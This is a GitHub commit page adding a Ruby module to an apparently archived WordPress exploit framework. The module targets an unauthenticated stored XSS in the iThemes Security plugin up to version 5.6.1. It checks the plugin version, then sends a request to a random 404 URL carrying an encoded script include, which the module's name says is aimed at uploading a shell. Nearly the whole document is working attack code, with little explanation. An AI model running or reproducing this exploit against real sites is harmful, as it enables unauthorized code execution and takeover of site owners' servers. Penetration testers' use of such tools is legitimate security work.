Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit ac9b132

Browse files
committed
Add iThemes Security <= 5.6.1 Stored XSS Shell Upload module
1 parent 1341fb3 commit ac9b132

File tree

1 file changed

+38
-0
lines changed

1 file changed

+38
-0
lines changed
Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
class Wpxf::Exploit::IthemesSecurityStoredXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::StoredXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'iThemes Security <= 5.6.1 Unauthenticated Stored XSS Shell Upload',
9+
author: [
10+
'Slavco Mihajloski', # Disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8635'],
15+
['URL', 'https://medium.com/websec/xss-vulnerability-in-ithemes-security-formerly-better-wp-security-5-6-1-2fba71f96f5d#.116tc5aol']
16+
],
17+
date: 'Oct 06 2016'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_readme('better-wp-security', '5.6.2')
23+
end
24+
25+
def expected_status_code_after_store
26+
404
27+
end
28+
29+
def generate_url
30+
normalize_uri(full_uri, "/#{Utility::Text.rand_alphanumeric(rand(10..20))}") + "?#{Utility::Text.rand_alpha(rand(1..5))}=<script>#{xss_ascii_encoded_include_script}</script>"
31+
end
32+
33+
def store_script
34+
execute_get_request(
35+
url: generate_url
36+
)
37+
end
38+
end

0 commit comments

Comments
 (0)